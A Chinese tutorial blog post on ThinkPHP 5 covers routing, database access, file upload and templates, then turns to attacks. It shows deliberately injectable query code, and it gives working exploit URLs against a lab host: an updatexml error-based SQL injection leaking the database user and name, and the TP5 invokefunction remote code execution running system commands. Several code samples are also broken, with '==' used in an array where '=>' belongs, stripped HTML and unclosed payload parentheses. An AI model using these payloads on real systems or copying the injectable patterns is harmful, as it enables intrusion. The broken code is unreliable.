027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第1张图片

#知识点:

1、TP框架-开发-路由访问&数据库&文件上传&MVC模型
2、TP框架-安全-不合规写法&内置过滤绕过&版本安全漏洞

演示案例:

➢TP框架-开发-配置架构&路由&MVC模型
➢TP框架-安全-不安全写法&版本过滤绕过

#TP框架-开发-配置架构&路由&MVC模型

参考:https://www.kancloud.cn/manual/thinkphp5_1

1、配置架构-导入使用

  • 修改小皮网址目录:G:\develop\safety\phpstudy_pro\WWW\dome01\thinkphp\public
  • 192.168.137.1:84 访问成功

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第2张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第3张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第4张图片

2、路由访问-URL访问

  • 访问方式需要按照,特定的访问方式才能访问到

    • 例如:需要访问初始页面;http://192.168.137.1:84**/index.php/Index/index/**
    • 需要访问初始页面中新定义的函数:192.168.137.1:84**/index.php/Index/index/xi**

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第5张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第6张图片

  • 如果想返回域名或表单中输入的参数中的内容

    • 首先需要导入**think\Controller类,Controller类是ThinkPHP框架提供的基础控制器类,你的Index类继承了这个控制器类。通过继承Controller**,你可以使用框架提供的一些基础控制器功能,比如处理请求和响应。
    • 其次完成代码回写
    
    namespace app\index\controller;
    **use think\Controller;**
    
    class Index extends Controller
    {
        // index方法用于处理首页请求
        public function index()
        {
            // 返回一个包含样式和内容的字符串
            return '

    :)

    ThinkPHP V5
    十年磨一剑 - 为API开发设计的高性能框架

    [ V5.0 版本由 七牛云 独家赞助发布 ]
    '
    ; } **// xi方法用于处理名为xi的请求,返回请求参数中的'name' public function xi() { // 返回请求参数中的'name' return $this->request->param('name'); }** }

    027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第7张图片

访问有两种方式:

  • 192.168.137.1:84/index.php/Index/index**/xi/name/xiaosedi**
  • 192.168.137.1:84/index.php/Index/index**/xi?name=wusuowei**

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第8张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第9张图片

注意:

  • 如果是使用php自带的请求方式访问则:只支持一种方式回写数据
  • 192.168.137.1:84/index.php/Index/index**/xi?x=123456**

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第10张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第11张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第12张图片

如果创建新的目录,例如application→text→controller→Test.php等

  • 修改namespace 中的路径
  • 修改class 类名Test
  • 192.168.137.1:84/index.php**/test/Test/xi?x=wufa456**

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第13张图片

3、数据库操作-应用对象

  • 连接数据库找到数据库配置文件(database.php),并打开调试模式
  • 引用数据的的类use think\Db;,使用数据库的查询语句
use think\Db;
public function testsql()
    {
       //SELECT * FROM `think_user` WHERE  `id` = 1 LIMIT 1
        // table方法必须指定完整的数据表名
        $data = Db::table('news')->where('id', 1)->findOrFail();
        return json($data);
    }

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第14张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第15张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第16张图片

thinkphp的安全过滤:

如果是原生态php的话,数据库操作没有过滤就会受到SQL注入攻击

ThinkPHP框架提供了一些内置的数据库操作方法,使得对数据库的访问更加便捷和安全使用ThinkPHP框架操作数据库 默认是受到框架内置的过滤保护

public function testsql()
    {
       //SELECT * FROM `think_user` WHERE  `id` = 1 LIMIT 1
       //使用TP框架操作数据库 默认是受到框架内置的过滤保护
        $id = request()->param('x');
        $data = Db::table('news')->where('id', $id)->find();
        return json($data);
    }

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第17张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第18张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第19张图片

4、文件上传操作-应用对象

  • 在配置好的网址根目录public下创建upload.html

  • 在upload.html中写入以下代码,并修改action的地址

    **<form action="/index.php/test/test/upload"** enctype="multipart/form-data" method="post">
        <!-- 表单提交的目标地址,这里是 /index.php/test/test/upload -->
        <input type="file" name="image" /> <!-- 文件上传输入框,name 属性为 "image" -->
        <br>
        <input type="submit" value="上传" /> <!-- 提交按钮,点击后触发表单提交 -->
    </form>
    
  • 在Test.php中输入以下代码(此代码对于上传文件,进行了诸多过滤,保证了安全性)

public function upload(){
    // 获取表单上传文件,例如上传了001.jpg
    $file = request()->file('image');
    
    // 移动到框架应用根目录/uploads/ 目录下
    $info = $file->validate(['ext'=>'jpg,png,gif'])->move('../uploads');

    if($info){
        // 成功上传后,获取上传信息

        // 输出文件扩展名,例如 jpg
        echo $info->getExtension();
        echo '
'
; // 输出文件保存路径,例如 20160820/42a79759f284b767dfcb2a0197904287.jpg echo $info->getSaveName(); echo '
'
; // 输出文件名,例如 42a79759f284b767dfcb2a0197904287.jpg echo $info->getFilename(); } else { // 上传失败,获取错误信息 echo $file->getError(); } }

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第20张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第21张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第22张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第23张图片

5、前端页面渲染-MVC模型

  • 在例如index(需要渲染的文件当前并行目录下)→view→index→index.html等
  • http://192.168.137.1:84/index.php/Index/index/index 输入对应的路由访问即可看到以及渲染的页面

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第24张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第25张图片

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第26张图片

也可以指定内容可以指定模板

public function index()
    {
        **//可以一一赋值
       $this->assign('name','ThinkPHP');
       $this->assign('email','[email protected]');
        //可以批量赋值
       $this->assign([
          'name' == 'ThinkPHP',
          'email' == '[email protected]'
       ]);
       //模板输出
       return $this->fetch('index/edit');**
    }

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第27张图片

#TP框架-安全-不安全写法&版本过滤绕过

判断漏洞的方式:首先判断代码写法如果是不安全写法直接通过代码回写使用sql注入,如果是安全写法则判断中间框架版本号,依据版本号去寻找存在的漏洞

1、内置代码写法

例子:不合规的代码写法-TP5-自写

1、使用TP框架操作数据库 默认是受到框架内置过滤保护

2、原生态的数据库操作如果没有过滤就会受到SQL注入攻击

安全写法=推荐写法 不安全写法=原生写法(不会受到保护)

1、安全写法

规矩写法:不是绝对安全 看两点
看版本的内置绕过漏洞 同样也有漏洞

$id=request()->param('x');
$data=Db::table('news')->where('id',$id)->find();
2、用一半安全写法

用一半安全写法 有安全隐患

//用一半安全写法 有安全隐患
   $id=request()->param('x');
   $data=Db::query("select * from news where id=$id");
3、纯原生写法(完全不是用TP语法)
// 从GET请求中获取id参数,如果不存在则默认为1
$id = $_GET['id'] ?? '1';

// 构建SQL查询语句
$sql = "select * from news where id=$id";
echo $sql;

// 执行查询并获取结果集
$data = mysqli_query($con, $sql);

// 使用mysqli_fetch_row遍历结果集的每一行
while ($row = mysqli_fetch_row($data)) {
    // 从结果集中获取每一列的值,并存储到相应的变量中
    $page_title = $row[1];
    $heading = $row[2];
    $subheading = $row[3];
    $content = $row[4];
    $item = $row[5];
}

2、框架版本安全

  • 首先查看中间框架的版本是什么,如ThinkPHP的版本在thinkphp→thinkphp→tpl→base.php中查看

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第28张图片

  • 依据版本号去查找,出现过的漏洞,进行复现即可(没有绝对的安全)

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第29张图片

例子1:写法内置安全绕过-TP5-SQL注入

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第30张图片

  • http://192.168.137.1:84/index.php/test/Test/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e&username[2]=1** sql注入可以通过报错返回当前数据库表名

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第31张图片

  • http://192.168.137.1:84/index.php/test/Test/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,database(),0x7e&username[2]=1** sql注入可以通过报错返回当前数据库名称

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第32张图片

例子2:内置版本安全漏洞-TP5-代码执行

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第33张图片

  • 192.168.137.1:84/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=**dir 显示当前目录**

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第34张图片

  • 192.168.137.1:84/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=**whoami 显示当前电脑用户名**

027-安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞_第35张图片

你可能感兴趣的:(安全,php,开发语言)